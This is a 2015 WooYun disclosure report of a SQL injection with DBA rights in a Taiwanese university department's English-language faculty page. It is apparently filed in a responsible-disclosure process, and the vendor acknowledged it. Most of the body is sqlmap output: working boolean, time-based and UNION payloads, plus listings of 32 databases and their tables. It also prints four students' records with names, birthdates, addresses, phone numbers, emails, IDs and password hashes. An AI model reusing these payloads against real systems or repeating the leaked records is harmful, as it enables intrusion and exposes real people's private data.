当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：
wooyun-2015-0158684
漏洞标题：
台湾国立交通大学某系存在SQL注入/DBA权限/涉及32个数据库（臺灣地區）
相关厂商：
台湾国立交通大学
漏洞作者：
路人甲
提交时间：
2015-12-07 14:57
修复时间：
2016-01-21 18:22
公开时间：
2016-01-21 18:22
漏洞类型：
SQL注射漏洞
危害等级：
高
自评Rank：
20
漏洞状态：
已交由第三方合作机构(Hitcon台湾互联网漏洞报告平台)处理
漏洞来源：
http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签：
无
分享漏洞：
4人收藏 收藏
分享漏洞：
>

漏洞详情

披露状态：

2015-12-07： 细节已通知厂商并且等待厂商处理中
2015-12-09： 厂商已经确认，细节仅向厂商公开
2015-12-19： 细节向核心白帽子及相关领域专家公开
2015-12-29： 细节向普通白帽子公开
2016-01-08： 细节向实习白帽子公开
2016-01-21： 细节向公众公开

简要描述：

之前修复不全

详细说明：

看案例http://**.**.**.**/bugs/wooyun-2015-0146585
上面写着注入点已经修复了，但是忽略了英文版的
问题链接：http://**.**.**.**/en/People/Professor/individual.php?TeacherID=T8166

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: TeacherID (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: TeacherID=T8166' AND 2147=2147 AND 'XkNb'='XkNb
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: TeacherID=T8166' AND (SELECT * FROM (SELECT(SLEEP(5)))kseB) AND 'uqiz'='uqiz
    Type: UNION query
    Title: Generic UNION query (NULL) - 14 columns
    Payload: TeacherID=-3490' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a626a71,0x63666753437a4c764353,0x7178787a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
---
web application technology: Apache
back-end DBMS: MySQL 5.0.12
current user is DBA:    True


dba权限。数据库有32个，影响很大

available databases [32]:
[*] bachelor
[*] backwp
[*] book
[*] Course
[*] disscuss
[*] Doctor
[*] doctor2015
[*] ecard
[*] eej
[*] EEunion
[*] gallery
[*] gallery2
[*] information_schema
[*] Log
[*] master
[*] mysql
[*] NEC
[*] news
[*] OldExam
[*] paper
[*] people
[*] PeopleBackup
[*] performance_schema
[*] pma
[*] pureftp
[*] test
[*] wp
[*] wp_backup
[*] wp_stunion
[*] wpalumni
[*] wptest
[*] zbachelor


看以上数据库名就知道有的库与课程、考试相关，所以比较重要。下面这个表里基本都是师生的信息，包含密码联系方式地址等信息：

back-end DBMS: MySQL 5.0.12
Database: doctor2015
[61 tables]
+-----------------+
| Bachelor_Buffer |
| EEfriend        |
| ENTeacher       |
| ENTeacherBackup |
| ENstaff         |
| Exchange        |
| 100             |
| 101             |
| 102             |
| 103             |
| 104             |
| 105             |
| 106             |
| 107             |
| 108             |
| 93              |
| 94              |
| 95              |
| 96              |
| 97              |
| 98              |
| 99              |
| parameter       |
| admin           |
| bad_login       |
| d2              |
| doctor2005      |
| doctor2006      |
| doctor2007      |
| doctor2008      |
| doctor2009      |
| doctor2010      |
| doctor2011      |
| doctor2012      |
| doctor2013      |
| doctor2014      |
| eestunion       |
| ftpusers        |
| intl_student    |
| iplog           |
| master2002      |
| master2003      |
| master2004      |
| master2005      |
| master2006      |
| master2007      |
| master2008      |
| master2009      |
| master2010      |
| master2011      |
| master2012      |
| master2013      |
| master2014      |
| master2015      |
| priv            |
| staff           |
| teacher         |
| tmp             |
| tvb             |
| wikiusers       |
| wwwftp          |
+-----------------+


举例：select * from master2015 limit 4 [4]:
[*] ?????????7????89?(??????74?), ??????, , 1993/2/16,, , ??????, , , ????????277?2?7?3?A?, , yschan.ee03g@**.**.**.**, ??, 2015/2, N/A/N/A, , , 0350306, , 54208, **.**.**.**, 2015-10-28 21:01:33, , , , 103B?????9????????, ???, Yun-Sheng, Chan, , , , , N/A/N/A/N/A, 08b7c48d98079497ce5deadac7114dbe, 0912082581, , 00911420049815, yes, flydream56@**.**.**.**, , ?????0919355465, ?, , ??????, ??????,
[*] ????????????107?, ???, , 1991/1/14, , ?????????????, , , ????????114?, 0910993621, jhblueboy@**.**.**.**, ??, 2015/2, N/A/N/A, , 08-7693096, 0350299, , 54205, **.**.**.**, 2015-10-28 21:05:54, , , , , ???, Min-Han, Lee, , , , , N/A/N/A/N/A, a6ba5c1753e238481b40306f6202d1dc, 0910993621, , 00713350706464, yes, minhanleetw@**.**.**.**, , 104A~105B??, ?, , ?????, ????,
[*] ?????????12??????329?4?17?2?, ???, , 1992/4/12, ,??????, , , ??????1001?_?????????401, 0952068599, daniel70589@**.**.**.**, ??, 2015/2, N/A/N/A, , 0287912221, 0350300, , 54247, **.**.**.**, 2015-09-11 18:17:47, , , , , ???, Hao-Hsiang, Yu, , , , , N/A/N/A/N/A, 33e35e29f2901f8f4d6e20b4126f191d, 0952068599, , 00025970045784, , daniel70589@**.**.**.**, , , ?, , ??????, ??????,
[*] ?????????????87?, ???, , 1992/10/16, , ?????, , , ????????277?2?50?2?B?, 0986915781, fubin1016.ee03g@g2.**.**.**.** , ??, 2015/2, N/A/N/A, , 06-2462707, 0350301, , (03) 5712121 x54199, **.**.**.**, 2015-09-21 07:20:01, , , , , ???, Fu-Bin, Yang, , , , , N/A/N/A/N/A, 3ed91e6e9c60d0f2f135329d52d74763, 0986915781, 0350301.jpg, 00312970308128, , fubin1016@**.**.**.**, , , ?, , ??????, ????????,
教师表：

Table: teacher
[37 columns]
+---------------+-------------+
| Column        | Type        |
+---------------+-------------+
| group         | varchar(1)  |
| Background    | text        |
| Contact       | text        |
| Course        | text        |
| DBstudent     | double      |
| DClassName    | text        |
| DClassNum     | double      |
| DDstudent     | double      |
| DMstudent     | double      |
| DPlanNum      | double      |
| DTotalHour    | double      |
| Email         | text        |
| HomePage      | text        |
| ID            | text        |
| Intro         | text        |
| Lab           | text        |
| LabWebSite    | text        |
| LastIP        | varchar(15) |
| LastLoginTime | timestamp   |
| Name          | text        |
| NameEn        | text        |
| Note          | text        |
| PassWord      | text        |
| Portrait      | text        |
| Rank          | text        |
| Research      | text        |
| reshigh       | text        |
| StContact     | text        |
| StName        | text        |
| TotalHour     | double      |
| UBstudent     | double      |
| UClassName    | text        |
| UClassNum     | double      |
| UDstudent     | double      |
| UMstudent     | double      |
| UPlanNum      | double      |
| UTotalHour    | double      |
+---------------+-------------+


内容我就不一一看了。

漏洞证明：

修复方案：

版权声明：转载请注明来源 路人甲@乌云

>

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：17

确认时间：2015-12-09 02:25

厂商回复：

感謝通報

最新状态：

暂无